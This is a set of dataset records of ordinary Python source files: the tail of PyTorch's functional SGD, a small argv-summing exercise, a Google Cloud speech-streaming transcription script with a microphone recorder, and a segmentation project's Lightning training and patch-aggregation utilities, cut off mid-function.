lr=lr,\n dampening=dampening,\n nesterov=self.nesterov,\n maximize=self.maximize,\n has_sparse_grad=has_sparse_grad,\n foreach=self.foreach,\n )\n\n # update momentum_buffers in state\n for i, p in enumerate(params_with_grad):\n state = self.state[p]\n momentum_buffer = momentum_buffer_list[i]\n if momentum_buffer is not None:\n state[\"momentum_buffer\"] = momentum_buffer\n","repo_name":"pytorch/pytorch","sub_path":"torch/distributed/optim/functional_sgd.py","file_name":"functional_sgd.py","file_ext":"py","file_size_in_byte":5478,"program_lang":"python","lang":"en","doc_type":"code","stars":72779,"dataset":"github-code","pt":"72"} +{"seq_id":"20196825791","text":"import sys\n\ntry:\n ar = list(map(lambda x: int(x), sys.argv[1::]))\nexcept Exception as e:\n print(e.__class__.__name__)\nelse:\n if len(ar) == 0:\n print(\"NO PARAMS\")\n else:\n for ind, val in enumerate(ar):\n if ind % 2 != 0:\n ar[ind] = val * -1\n\n print(sum(ar))\n","repo_name":"QBoff/WEB","sub_path":"working_with_terminal/task3/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39041760755","text":"from array import array\nimport argparse\nimport io\nfrom sys import byteorder\nfrom struct import pack\nimport time\n\n## Pip Deps\n# Audio file open as stream (for devel)\nimport soundfile\n\nimport pyaudio\nimport wave\n\n## Protobuff \n\n# [START speech_transcribe_streaming]\ndef transcribe_streaming(recorder, stream_file=''):\n \"\"\"Streams transcription of the given audio file.\"\"\"\n from google.cloud import speech\n from google.cloud.speech import enums\n from google.cloud.speech import types\n client = speech.SpeechClient()\n\n ## dont read from file\n #with io.open(stream_file, 'rb') as audio_file:\n # content = audio_file.read()\n\n ## call live record(); output will be tuple (samp rate, array())\n print(\"Calling record()..\")\n sr, data, data2 = recorder.record()\n print(\"Obtained data with sample rate: \" + str(sr))\n\n print(str(data)[0:20])\n print(str(data2)[0:20])\n # In practice, stream should be a generator yielding chunks of audio data.\n stream = [data2] #[content]\n requests = (types.StreamingRecognizeRequest(audio_content=chunk)\n for chunk in stream)\n\n config = types.RecognitionConfig(\n encoding=enums.RecognitionConfig.AudioEncoding.LINEAR16,\n sample_rate_hertz=16000,\n language_code='en-US')\n streaming_config = types.StreamingRecognitionConfig(config=config)\n\n # streaming_recognize returns a generator.\n # [START speech_python_migration_streaming_response]\n print(\"Calling streaming_recognize()...\")\n responses = client.streaming_recognize(streaming_config, requests)\n # [END speech_python_migration_streaming_request]\n\n if not responses or len(responses) == 0:\n print(\"No transcriptions obtained.\")\n\n for response in responses:\n # Once the transcription has settled, the first result will contain the\n # is_final result. The other results will be for subsequent portions of\n # the audio.\n for result in response.results:\n print('Finished: {}'.format(result.is_final))\n print('Stability: {}'.format(result.stability))\n alternatives = result.alternatives\n # The alternatives are ordered from most likely to least.\n for alternative in alternatives:\n print('Confidence: {}'.format(alternative.confidence))\n print(u'Transcript: {}'.format(alternative.transcript))\n\n # [END speech_python_migration_streaming_response]\n# [END speech_transcribe_streaming]\n\nclass Recorder(object):\n\n def __init__(self):\n self.THRESHOLD = 1000\n self.CHUNK_SIZE = 1024\n self.FORMAT = pyaudio.paInt16\n self.RATE = 16000\n\n def is_silent(self, snd_data):\n \"Returns 'True' if below the 'silent' threshold\"\n m = max(snd_data)\n print(str(m))\n return m < self.THRESHOLD\n\n def normalize(self, snd_data):\n \"Average the volume out\"\n MAXIMUM = 16384\n times = float(MAXIMUM)/max(abs(i) for i in snd_data)\n\n r = array('h')\n for i in snd_data:\n r.append(int(i*times))\n return r\n\n def trim(self, snd_data):\n \"Trim the blank spots at the start and end\"\n def _trim(snd_data):\n snd_started = False\n r = array('h')\n\n for i in snd_data:\n if not snd_started and abs(i)>self.THRESHOLD:\n snd_started = True\n r.append(i)\n\n elif snd_started:\n r.append(i)\n return r\n\n # Trim to the left\n snd_data = _trim(snd_data)\n\n # Trim to the right\n snd_data.reverse()\n snd_data = _trim(snd_data)\n snd_data.reverse()\n return snd_data\n\n def add_silence(self, snd_data, seconds):\n \"Add silence to the start and end of 'snd_data' of length 'seconds' (float)\"\n r = array('h', [0 for i in range(int(seconds*self.RATE))])\n r.extend(snd_data)\n r.extend([0 for i in range(int(seconds*self.RATE))])\n return r\n\n def record(self):\n \"\"\"\n Record from micr; return as an array of signed shorts.\n \"\"\"\n print(\"record() setup..\")\n p = pyaudio.PyAudio()\n stream = p.open(format=self.FORMAT, channels=1, rate=self.RATE,\n input=True, output=True,\n frames_per_buffer=self.CHUNK_SIZE)\n\n num_silent = 0\n max_silent = 30\n last_reported_silent = 0\n snd_started = False\n\n r = array('h')\n\n print(\"record() starting..\")\n bstr = b''\n while 1:\n # little endian, signed short\n rr = stream.read(self.CHUNK_SIZE)\n for _r in rr:\n bstr += pack('h', _r)\n snd_data = array('h', rr)\n if byteorder == 'big':\n snd_data.byteswap()\n r.extend(snd_data)\n\n print(\"record() checking silence.. \" + str(len(r)))\n silent = self.is_silent(snd_data)\n\n if silent and snd_started:\n num_silent += 1\n if (num_silent - last_reported_silent) >= int(max_silent / 4.):\n print(\"Num Silent: \" + str(num_silent))\n last_reported_silent = num_silent\n\n elif not silent and not snd_started:\n snd_started = True\n\n if snd_started and num_silent > max_silent:\n print(\"Enough Silence; breaking record loop\")\n break\n\n print(\"record() stopping stream..\")\n sample_width = p.get_sample_size(self.FORMAT)\n stream.stop_stream()\n stream.close()\n p.terminate()\n\n pp_st = time.time()\n print(\"record() post processing..\")\n r = self.normalize(r)\n r = self.trim(r)\n r = self.add_silence(r, 0.5)\n pp_en = time.time()\n print(\"record() post proc took \" + str(int((pp_en - pp_st) * 1000)))\n return sample_width, r, bstr\n\n def record_to_file(self, path):\n \"Records from the microphone and outputs the resulting data to 'path'\"\n sample_width, data = self.record()\n data = pack('<' + ('h'*len(data)), *data)\n \n wf = wave.open(path, 'wb')\n wf.setnchannels(1)\n wf.setsampwidth(sample_width)\n wf.setframerate(self.RATE)\n wf.writeframes(data)\n wf.close()\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\n description=__doc__,\n formatter_class=argparse.RawDescriptionHelpFormatter)\n\n rec = Recorder()\n transcribe_streaming(rec)\n","repo_name":"descartesholland/circumlocution","sub_path":"transcribe_streaming.py","file_name":"transcribe_streaming.py","file_ext":"py","file_size_in_byte":6550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16472641932","text":"import math\r\nimport multiprocessing\r\nimport cv2\r\nimport logging\r\nimport os\r\nimport numpy as np\r\nimport scipy\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport joblib\r\nimport contextlib\r\nimport pandas as pd\r\nimport string\r\nimport sys\r\n\r\nfrom multiprocessing.managers import MakeProxyType, SyncManager\r\nfrom torch.utils.data import default_collate\r\nfrom weakref import proxy\r\nfrom pathlib import Path\r\nfrom patchify import NonUniformStepSizeError, unpatchify\r\nfrom collections import defaultdict\r\nfrom typing import Dict, Optional, Union, Tuple\r\nfrom lightning import Trainer\r\nfrom lightning.pytorch.cli import LightningCLI\r\nfrom lightning.pytorch.loggers import WandbLogger, TensorBoardLogger\r\nfrom timm.layers.format import nhwc_to, Format\r\nfrom torchvision.utils import make_grid\r\nfrom lightning.pytorch.callbacks import EarlyStopping, Callback, ModelCheckpoint, BasePredictionWriter\r\nfrom torch_ema import ExponentialMovingAverage\r\n\r\nfrom src.data.datasets import LABELED_TIME_INDEX, N_TIMES\r\nfrom src.utils.morphology import Erosion2d\r\n\r\n\r\nlogger = logging.getLogger(__name__)\r\n\r\n\r\n###################################################################\r\n########################## General Utils ##########################\r\n###################################################################\r\n\r\nclass MyLightningCLI(LightningCLI):\r\n def add_arguments_to_parser(self, parser):\r\n \"\"\"Add argument links to parser.\r\n\r\n Example:\r\n parser.link_arguments(\"data.init_args.img_size\", \"model.init_args.img_size\")\r\n \"\"\"\r\n parser.link_arguments(\r\n \"data.init_args.img_size\", \r\n \"model.init_args.img_size\",\r\n )\r\n parser.link_arguments(\r\n \"data.init_args.num_frames\", \r\n \"model.init_args.num_frames\",\r\n )\r\n parser.link_arguments(\r\n \"data.init_args.test_as_aux_val\", \r\n \"model.init_args.add_dataloader_idx\",\r\n )\r\n parser.link_arguments(\r\n \"data.init_args.cat_mode\", \r\n \"model.init_args.cat_mode\",\r\n )\r\n \r\n def before_instantiate_classes(self) -> None:\r\n # Set LR: nested dict value setting from CLI is not supported\r\n # so separate arg is used\r\n if 'fit' in self.config and self.config['fit']['model']['init_args']['lr'] is not None:\r\n self.config['fit']['model']['init_args']['optimizer_init']['init_args']['lr'] = \\\r\n self.config['fit']['model']['init_args']['lr']\r\n\r\n\r\nclass MyLightningCLISweep(MyLightningCLI):\r\n \"\"\"Implement args binding for sweeps.\r\n\r\n Sweep configs currently only support cartesian product of args\r\n and not args binding. This is a workaround to bind args.\r\n\r\n E. g. if some value of `backbone_name` imply usage of `compile`\r\n and some not, grid search over `backbone_name` and `compile` is\r\n not possible. This can be solved by binding `compile` to `backbone_name`.\r\n \"\"\"\r\n def before_instantiate_classes(self) -> None:\r\n super().before_instantiate_classes()\r\n\r\n \"\"\"Implement to run some code before instantiating the classes.\"\"\"\r\n device_to_batch_size_divider = {\r\n 'NVIDIA GeForce RTX 3090': 1,\r\n 'NVIDIA GeForce RTX 3080 Ti Laptop GPU': 1,\r\n 'Tesla T4': 1,\r\n 'Tesla V100-SXM2-16GB': 1,\r\n }\r\n\r\n backbone_name_to_batch_params_img_size_256 = {\r\n # Eva\r\n 'eva02_B_ade_seg_upernet_sz512': {\r\n 'batch_size': 32,\r\n 'accumulate_grad_batches': 2,\r\n },\r\n\r\n # SMP old + Unet\r\n 'tf_efficientnet_b5.ns_jft_in1k': {\r\n 'batch_size': 64,\r\n 'accumulate_grad_batches': 1,\r\n },\r\n 'tf_efficientnet_b0.ns_jft_in1k': {\r\n 'batch_size': 64,\r\n 'accumulate_grad_batches': 1,\r\n },\r\n 'tf_efficientnet_b8.ap_in1k': {\r\n 'batch_size': 32,\r\n 'accumulate_grad_batches': 2,\r\n },\r\n\r\n # SMP + Unet\r\n 'timm-efficientnet-b5': {\r\n 'batch_size': 64,\r\n 'accumulate_grad_batches': 1,\r\n },\r\n 'timm-efficientnet-b7': {\r\n 'batch_size': 64,\r\n 'accumulate_grad_batches': 1,\r\n },\r\n 'tu-tf_efficientnet_b5': {\r\n 'batch_size': 64,\r\n 'accumulate_grad_batches': 1,\r\n },\r\n\r\n # HF + Segformer\r\n 'nvidia/mit-b5': {\r\n 'batch_size': 64,\r\n 'accumulate_grad_batches': 1,\r\n },\r\n\r\n # HF + Upernet\r\n 'openmmlab/upernet-convnext-base': {\r\n 'batch_size': 32,\r\n 'accumulate_grad_batches': 2,\r\n },\r\n 'facebook/convnextv2-base-22k-224': {\r\n 'batch_size': 16,\r\n 'accumulate_grad_batches': 4,\r\n },\r\n 'facebook/convnextv2-base-22k-384': {\r\n 'batch_size': 16,\r\n 'accumulate_grad_batches': 4,\r\n },\r\n 'tf_efficientnet_b5': {\r\n 'batch_size': 16,\r\n 'accumulate_grad_batches': 4,\r\n },\r\n 'tf_efficientnet_b7': {\r\n 'batch_size': 16,\r\n 'accumulate_grad_batches': 4,\r\n },\r\n 'tf_efficientnetv2_m': {\r\n 'batch_size': 32,\r\n 'accumulate_grad_batches': 2,\r\n },\r\n 'tf_efficientnetv2_xl': {\r\n 'batch_size': 32,\r\n 'accumulate_grad_batches': 2,\r\n },\r\n 'maxvit_rmlp_base_rw_384': {\r\n 'batch_size': 16,\r\n 'accumulate_grad_batches': 4,\r\n },\r\n\r\n # mmseg\r\n 'internimage-b': {\r\n 'batch_size': 32,\r\n 'accumulate_grad_batches': 2,\r\n }\r\n }\r\n\r\n backbone_name = self.config['fit']['model']['init_args']['backbone_name']\r\n\r\n # Force img_size for maxvit models\r\n # (required to be divisible by 192)\r\n if backbone_name == 'maxvit_rmlp_base_rw_384':\r\n self.config['fit']['data']['init_args']['img_size'] = 384\r\n self.config['fit']['model']['init_args']['img_size'] = 384\r\n\r\n # Force not deterministic training\r\n deterministic_not_supported_archs = ['eva', 'upernet', 'segformer']\r\n if (\r\n self.config['fit']['model']['init_args']['architecture'] in deterministic_not_supported_archs\r\n ):\r\n if self.config['fit']['trainer']['deterministic']:\r\n logger.warning(\r\n f'Deterministic training is not supported for {deterministic_not_supported_archs} archs. '\r\n f\"Got {self.config['fit']['model']['init_args']['architecture']}. \"\r\n 'Setting `deterministic=False`.'\r\n )\r\n self.config['fit']['trainer']['deterministic'] = False\r\n\r\n # Force not compile\r\n if (\r\n backbone_name.startswith('convnext')\r\n ):\r\n if self.config['fit']['model']['init_args']['compile']:\r\n logger.warning(\r\n 'compile is not supported with convnext or Eva02 models. '\r\n 'Setting `compile=False`.'\r\n )\r\n self.config['fit']['model']['init_args']['compile'] = False\r\n\r\n # Overrride batch params (needed for different machines)\r\n device_name = torch.cuda.get_device_name()\r\n if device_name not in device_to_batch_size_divider:\r\n logger.warning(\r\n f'Unknown device {device_name}. '\r\n f'Using default batch size and accumulate_grad_batches.'\r\n )\r\n device_to_batch_size_divider[device_name] = 1\r\n\r\n # Force special case divider to 1\r\n if backbone_name == 'tf_efficientnet_b5.ns_jft_in1k':\r\n for k in device_to_batch_size_divider:\r\n device_to_batch_size_divider[k] = 1\r\n\r\n # Set default batch params for img_size=256\r\n if backbone_name not in backbone_name_to_batch_params_img_size_256:\r\n backbone_name_to_batch_params_img_size_256[backbone_name] = {\r\n 'batch_size': 64,\r\n 'accumulate_grad_batches': 1,\r\n }\r\n \r\n # Scale batch size and accumulate_grad_batches with image size\r\n area_divider = self.config['fit']['data']['init_args']['img_size'] ** 2 / 256 ** 2\r\n batch_size = backbone_name_to_batch_params_img_size_256[backbone_name]['batch_size']\r\n accumulate_grad_batches = backbone_name_to_batch_params_img_size_256[backbone_name]['accumulate_grad_batches']\r\n divider = device_to_batch_size_divider[device_name] * area_divider\r\n\r\n assert batch_size / divider >= 1, \\\r\n f'It is mandatory in current experiment settings to have batch size ' \\\r\n f'(including accumulation) ~ 64, current ' \\\r\n f'batch size {batch_size} @ 256px imply batch size @ ' \\\r\n f'{self.config[\"fit\"][\"data\"][\"init_args\"][\"img_size\"]}px to be ' \\\r\n f'{batch_size / divider} which is less than 1.'\r\n\r\n if not math.isclose(batch_size / divider - math.floor(batch_size / divider), 0.0):\r\n logger.warning(\r\n f'Batch size {batch_size} is not divisible by {divider}. '\r\n f'Set batch size to {math.floor(batch_size / divider)} and '\r\n f'accumulate_grad_batches to {math.ceil(accumulate_grad_batches * divider)}.'\r\n )\r\n\r\n self.config['fit']['data']['init_args']['batch_size'] = \\\r\n math.floor(batch_size / divider)\r\n self.config['fit']['trainer']['accumulate_grad_batches'] = \\\r\n math.ceil(accumulate_grad_batches * divider)\r\n \r\n # Only divide by device_to_batch_size_divider\r\n if self.config['fit']['data']['init_args']['batch_size_val_test'] is not None:\r\n self.config['fit']['data']['init_args']['batch_size_val_test'] = \\\r\n math.floor(\r\n self.config['fit']['data']['init_args']['batch_size_val_test'] / \r\n device_to_batch_size_divider[device_name]\r\n )\r\n \r\n # Set num_workers to min(number of threads, num_workers)\r\n self.config['fit']['data']['init_args']['num_workers'] = min(\r\n multiprocessing.cpu_count(),\r\n self.config['fit']['data']['init_args']['num_workers'],\r\n )\r\n\r\n logger.info(f'Updated config: {self.config}')\r\n\r\n\r\nclass EarlyStoppingNotReached(EarlyStopping):\r\n \"\"\"Early stopping callback that in addition to conventional one\r\n stops the training if the critical value is not reached by \r\n the critical epoch.\r\n \"\"\"\r\n def __init__(self, critical_value: float, critical_epoch: int, *args, **kwargs):\r\n super().__init__(*args, **kwargs)\r\n\r\n self.critical_value = torch.tensor(critical_value)\r\n self.critical_epoch = critical_epoch\r\n\r\n def _run_early_stopping_check(self, trainer) -> None:\r\n \"\"\"Checks whether the early stopping condition is met and if so tells the trainer to stop the training.\"\"\"\r\n super()._run_early_stopping_check(trainer)\r\n if self.stopped_epoch != 0:\r\n return\r\n\r\n logs = trainer.callback_metrics\r\n \r\n if trainer.fast_dev_run or not self._validate_condition_metric( # disable early_stopping with fast_dev_run\r\n logs\r\n ): # short circuit if metric not present\r\n return\r\n \r\n current = logs[self.monitor].squeeze()\r\n should_stop, reason = self._evaluate_stopping_criteria_aux(current, trainer.current_epoch)\r\n \r\n # stop every ddp process if any world process decides to stop\r\n should_stop = trainer.strategy.reduce_boolean_decision(should_stop, all=False)\r\n trainer.should_stop = trainer.should_stop or should_stop\r\n if should_stop:\r\n self.stopped_epoch = trainer.current_epoch\r\n if reason and self.verbose:\r\n self._log_info(trainer, reason, self.log_rank_zero_only)\r\n \r\n def _evaluate_stopping_criteria_aux(self, current: torch.Tensor, current_epoch: int) -> Tuple[bool, Optional[str]]:\r\n should_stop = False\r\n reason = None\r\n \r\n # If the critical value is not reached by the critical epoch, stop the training\r\n if current_epoch >= self.critical_epoch and not self.monitor_op(current - self.min_delta, self.critical_value.to(current.device)):\r\n should_stop = True\r\n reason = (\r\n f\"Monitored metric {self.monitor} did not reach the critical value {self.critical_value:.3f} by the critical epoch {self.critical_epoch}\"\r\n f\" Best score: {self.best_score:.3f}. Signaling Trainer to stop.\"\r\n )\r\n \r\n return should_stop, reason\r\n\r\n\r\nclass TrainerWandb(Trainer):\r\n \"\"\"Hotfix for wandb logger saving config & artifacts to project root dir\r\n and not in experiment dir.\"\"\"\r\n @property\r\n def log_dir(self) -> Optional[str]:\r\n \"\"\"The directory for the current experiment. Use this to save images to, etc...\r\n\r\n .. code-block:: python\r\n\r\n def training_step(self, batch, batch_idx):\r\n img = ...\r\n save_img(img, self.trainer.log_dir)\r\n \"\"\"\r\n if len(self.loggers) > 0:\r\n if isinstance(self.loggers[0], WandbLogger):\r\n dirpath = self.loggers[0]._experiment.dir\r\n elif not isinstance(self.loggers[0], TensorBoardLogger):\r\n dirpath = self.loggers[0].save_dir\r\n else:\r\n dirpath = self.loggers[0].log_dir\r\n else:\r\n dirpath = self.default_root_dir\r\n\r\n dirpath = self.strategy.broadcast(dirpath)\r\n return dirpath\r\n\r\n\r\nclass ModelCheckpointNoSave(ModelCheckpoint):\r\n def best_epoch(self) -> int:\r\n # exmple: epoch=10-step=1452.ckpt\r\n if not '=' in self.best_model_path:\r\n return -1\r\n return int(self.best_model_path.split('=')[-2].split('-')[0])\r\n \r\n def ith_epoch_score(self, i: int) -> Optional[float]:\r\n # exmple: epoch=10-step=1452.ckpt\r\n ith_epoch_filepath_list = [\r\n filepath \r\n for filepath in self.best_k_models.keys()\r\n if f'epoch={i}-' in filepath\r\n ]\r\n \r\n # Not found\r\n if not ith_epoch_filepath_list:\r\n return None\r\n \r\n ith_epoch_filepath = ith_epoch_filepath_list[-1]\r\n return self.best_k_models[ith_epoch_filepath]\r\n\r\n def _save_checkpoint(self, trainer: Trainer, filepath: str) -> None:\r\n self._last_global_step_saved = trainer.global_step\r\n\r\n # notify loggers\r\n if trainer.is_global_zero:\r\n for logger in trainer.loggers:\r\n logger.after_save_checkpoint(proxy(self))\r\n \r\n def on_validation_end(self, trainer, pl_module) -> None:\r\n super().on_validation_end(trainer, pl_module)\r\n\r\n pl_module.logger.experiment.log(\r\n {\r\n f'best_{self.monitor}_epoch': self.best_epoch(), \r\n f'best_{self.monitor}': self.best_model_score,\r\n }\r\n )\r\n\r\n\r\nclass TempSetContextManager:\r\n def __init__(self, obj, attr, value):\r\n self.obj = obj\r\n self.attr = attr\r\n self.value = value\r\n\r\n def __enter__(self):\r\n self.old_value = getattr(self.obj, self.attr)\r\n setattr(self.obj, self.attr, self.value)\r\n\r\n def __exit__(self, *args):\r\n setattr(self.obj, self.attr, self.old_value)\r\n\r\n\r\n\r\ndef state_norm(module: torch.nn.Module, norm_type: Union[float, int, str], group_separator: str = \"/\") -> Dict[str, float]:\r\n \"\"\"Compute each state dict tensor's norm and their overall norm.\r\n\r\n The overall norm is computed over all tensor together, as if they\r\n were concatenated into a single vector.\r\n\r\n Args:\r\n module: :class:`torch.nn.Module` to inspect.\r\n norm_type: The type of the used p-norm, cast to float if necessary.\r\n Can be ``'inf'`` for infinity norm.\r\n group_separator: The separator string used by the logger to group\r\n the tensor norms in their own subfolder instead of the logs one.\r\n\r\n Return:\r\n norms: The dictionary of p-norms of each parameter's gradient and\r\n a special entry for the total p-norm of the tensor viewed\r\n as a single vector.\r\n \"\"\"\r\n norm_type = float(norm_type)\r\n if norm_type <= 0:\r\n raise ValueError(f\"`norm_type` must be a positive number or 'inf' (infinity norm). Got {norm_type}\")\r\n\r\n norms = {\r\n f\"state_{norm_type}_norm{group_separator}{name}\": p.data.float().norm(norm_type)\r\n for name, p in module.state_dict().items()\r\n if not 'num_batches_tracked' in name\r\n }\r\n if norms:\r\n total_norm = torch.tensor(list(norms.values())).norm(norm_type)\r\n norms[f\"state_{norm_type}_norm_total\"] = total_norm\r\n return norms\r\n\r\n\r\n###################################################################\r\n##################### CV ##########################################\r\n###################################################################\r\n\r\n# Segmentation\r\n\r\n# https://github.com/bnsreenu/python_for_microscopists/blob/master/\r\n# 229_smooth_predictions_by_blending_patches/smooth_tiled_predictions.py\r\ndef _spline_window(window_size, power=2):\r\n \"\"\"\r\n Squared spline (power=2) window function:\r\n https://www.wolframalpha.com/input/?i=y%3Dx**2,+y%3D-(x-2)**2+%2B2,+y%3D(x-4)**2,+from+y+%3D+0+to+2\r\n \"\"\"\r\n intersection = int(window_size / 4)\r\n wind_outer = (abs(2*(scipy.signal.triang(window_size))) ** power)/2\r\n wind_outer[intersection:-intersection] = 0\r\n\r\n wind_inner = 1 - (abs(2*(scipy.signal.triang(window_size) - 1)) ** power)/2\r\n wind_inner[:intersection] = 0\r\n wind_inner[-intersection:] = 0\r\n\r\n wind = wind_inner + wind_outer\r\n wind = wind / np.average(wind)\r\n return wind\r\n\r\n\r\ndef _spline_window_2d(h, w, power=2):\r\n h_wind = _spline_window(h, power)\r\n w_wind = _spline_window(w, power)\r\n return h_wind[:, None] * w_wind[None, :]\r\n\r\n\r\ndef _unpatchify2d_avg( # pylint: disable=too-many-locals\r\n patches: np.ndarray, imsize: Tuple[int, int], weight_mode='uniform',\r\n) -> np.ndarray:\r\n assert len(patches.shape) == 4\r\n assert weight_mode in ['uniform', 'spline']\r\n\r\n i_h, i_w = imsize\r\n image = np.zeros(imsize, dtype=np.float32)\r\n weights = np.zeros(imsize, dtype=np.float32)\r\n\r\n n_h, n_w, p_h, p_w = patches.shape\r\n\r\n s_w = 0 if n_w <= 1 else (i_w - p_w) / (n_w - 1)\r\n s_h = 0 if n_h <= 1 else (i_h - p_h) / (n_h - 1)\r\n\r\n # The step size should be same for all patches, otherwise the patches are unable\r\n # to reconstruct into a image\r\n if int(s_w) != s_w:\r\n raise NonUniformStepSizeError(i_w, n_w, p_w, s_w)\r\n if int(s_h) != s_h:\r\n raise NonUniformStepSizeError(i_h, n_h, p_h, s_h)\r\n s_w = int(s_w)\r\n s_h = int(s_h)\r\n\r\n weight = 1 # uniform\r\n if weight_mode == 'spline':\r\n weight = _spline_window_2d(p_h, p_w, power=2)\r\n\r\n # For each patch, add it to the image at the right location\r\n for i in range(n_h):\r\n for j in range(n_w):\r\n image[i * s_h : i * s_h + p_h, j * s_w : j * s_w + p_w] += (patches[i, j] * weight)\r\n weights[i * s_h : i * s_h + p_h, j * s_w : j * s_w + p_w] += weight\r\n\r\n # Average\r\n weights = np.where(np.isclose(weights, 0.0), 1.0, weights)\r\n image /= weights\r\n\r\n image = image.astype(patches.dtype)\r\n\r\n return image, weights\r\n\r\n\r\nclass PredictionTargetPreviewAgg(nn.Module):\r\n \"\"\"Aggregate prediction and target patches to images with downscaling.\"\"\"\r\n def __init__(\r\n self, \r\n preview_downscale: Optional[int] = 4, \r\n metrics=None, \r\n input_std=1, \r\n input_mean=0, \r\n fill_value=0,\r\n overlap_avg_weight_mode='uniform',\r\n ):\r\n super().__init__()\r\n self.preview_downscale = preview_downscale\r\n self.metrics = metrics\r\n self.previews = {}\r\n self.shapes = {}\r\n self.shapes_before_padding = {}\r\n self.input_std = input_std\r\n self.input_mean = input_mean\r\n self.fill_value = fill_value\r\n self.overlap_avg_weight_mode = overlap_avg_weight_mode\r\n\r\n def reset(self):\r\n # Note: metrics are reset in compute()\r\n self.previews = {}\r\n self.shapes = {}\r\n self.shapes_before_padding = {}\r\n\r\n def update(\r\n self, \r\n arrays: Dict[str, torch.Tensor | np.ndarray],\r\n pathes: list[str], \r\n patch_size: torch.LongTensor | np.ndarray,\r\n indices: torch.LongTensor | np.ndarray, \r\n shape_patches: torch.LongTensor | np.ndarray,\r\n shape_original: torch.LongTensor | np.ndarray,\r\n shape_before_padding: torch.LongTensor,\r\n ):\r\n # To CPU & types\r\n for name in arrays:\r\n if isinstance(arrays[name], torch.Tensor):\r\n arrays[name] = arrays[name].cpu().numpy()\r\n \r\n if name == 'input':\r\n arrays[name] = ((arrays[name] * self.input_std + self.input_mean) * 255).astype(np.uint8)\r\n elif name == 'probas':\r\n arrays[name] = arrays[name].astype(np.float32)\r\n elif name == ['mask', 'target']:\r\n arrays[name] = arrays[name].astype(np.uint8)\r\n else:\r\n # Do not convert type\r\n pass\r\n\r\n if isinstance(indices, torch.Tensor):\r\n indices = indices.cpu().numpy()\r\n if isinstance(shape_patches, torch.Tensor):\r\n shape_patches = shape_patches.cpu().numpy()\r\n if isinstance(shape_before_padding, torch.Tensor):\r\n shape_before_padding = shape_before_padding.cpu().numpy()\r\n\r\n indices, shape_patches, shape_before_padding = \\\r\n indices.astype(np.int64), \\\r\n shape_patches.astype(np.int64), \\\r\n shape_before_padding.astype(np.int64)\r\n \r\n # Place patches on the preview images\r\n B = arrays[list(arrays.keys())[0]].shape[0]\r\n for i in range(B):\r\n path = Path(pathes[i])\r\n path = str(path.relative_to(path.parent.parent))\r\n shape = [\r\n *shape_patches[i].tolist(),\r\n *patch_size,\r\n ]\r\n\r\n self.shapes[path] = shape_original[i].tolist()[:2]\r\n self.shapes_before_padding[path] = shape_before_padding[i].tolist()[:2]\r\n patch_index_w, patch_index_h = indices[i].tolist()\r\n\r\n for name, value in arrays.items():\r\n key = f'{name}|{path}'\r\n if key not in self.previews:\r\n self.previews[key] = np.full(shape, fill_value=self.fill_value, dtype=arrays[name].dtype)\r\n if name.startswith('probas'):\r\n # Needed to calculate average from sum\r\n # hack to not change dict size later, actually computed in compute()\r\n self.previews[f'counts|{path}'] = None\r\n self.previews[key][patch_index_h, patch_index_w] = value[i]\r\n \r\n def compute(self):\r\n # Unpatchify\r\n for name in self.previews:\r\n path = name.split('|')[-1]\r\n shape_original = self.shapes[path]\r\n if name.startswith('probas'):\r\n # Average overlapping patches\r\n self.previews[name], counts = _unpatchify2d_avg(\r\n self.previews[name], \r\n shape_original,\r\n weight_mode=self.overlap_avg_weight_mode,\r\n )\r\n self.previews[name.replace('probas', 'counts')] = counts.astype(np.uint8)\r\n elif name.startswith('counts'):\r\n # Do nothing\r\n pass\r\n else:\r\n # Just unpatchify\r\n self.previews[name] = unpatchify(\r\n self.previews[name], \r\n shape_original\r\n )\r\n\r\n # Zero probas out where mask is zero\r\n for name in self.previews:\r\n if name.startswith('probas'):\r\n mask = self.previews[name.replace('probas', 'mask')] == 0\r\n self.previews[name][mask] = 0\r\n\r\n # Crop to shape before padding\r\n for name in self.previews:\r\n path = name.split('|')[-1]\r\n shape_before_padding = self.shapes_before_padding[path]\r\n self.previews[name] = self.previews[name][\r\n :shape_before_padding[0], \r\n :shape_before_padding[1],\r\n ]\r\n\r\n # Compute metrics if available\r\n metric_values = None\r\n if self.metrics is not None:\r\n preds, targets = [], []\r\n for name in self.previews:\r\n if name.startswith('probas'):\r\n path = name.split('|')[-1]\r\n mask = self.previews[f'mask|{path}'] > 0\r\n pred = self.previews[name][mask].flatten()\r\n target = self.previews[f'target|{path}'][mask].flatten()\r\n\r\n preds.append(pred)\r\n targets.append(target)\r\n preds = torch.from_numpy(np.concatenate(preds))\r\n targets = torch.from_numpy(np.concatenate(targets))\r\n\r\n metric_values = {}\r\n for metric_name, metric in self.metrics.items():\r\n metric.update(preds, targets)\r\n metric_values[metric_name] = metric.compute()\r\n metric.reset()\r\n \r\n # Downscale and get captions\r\n captions, previews = [], []\r\n for name, preview in self.previews.items():\r\n if self.preview_downscale is not None:\r\n preview = cv2.resize(\r\n preview,\r\n dsize=(0, 0),\r\n fx=1 / self.preview_downscale, \r\n fy=1 / self.preview_downscale, \r\n interpolation=cv2.INTER_LINEAR, \r\n )\r\n captions.append(name)\r\n previews.append(preview)\r\n\r\n return metric_values, captions, previews\r\n \r\n\r\nclass PredictionTargetPreviewGrid(nn.Module):\r\n \"\"\"Aggregate prediction and target patches to images with downscaling.\"\"\"\r\n def __init__(self, preview_downscale: int = 4, n_images: int = 4):\r\n super().__init__()\r\n self.preview_downscale = preview_downscale\r\n self.n_images = n_images\r\n self.previews = defaultdict(list)\r\n\r\n def reset(self):\r\n self.previews = defaultdict(list)\r\n\r\n def update(\r\n self, \r\n input: torch.Tensor,\r\n probas: torch.Tensor, \r\n target: torch.Tensor, \r\n ):\r\n # Add images until grid is full\r\n for i in range(probas.shape[0]):\r\n if len(self.previews['input']) >= self.n_images:\r\n return\r\n\r\n # Get preview images\r\n inp = F.interpolate(\r\n input[i].float().unsqueeze(0),\r\n scale_factor=1 / self.preview_downscale, \r\n mode='bilinear',\r\n align_corners=False, \r\n ).cpu()\r\n proba = F.interpolate(\r\n probas[i].float().unsqueeze(0).unsqueeze(1), # interpolate as (N, C, H, W)\r\n scale_factor=1 / self.preview_downscale, \r\n mode='bilinear', \r\n align_corners=False, \r\n 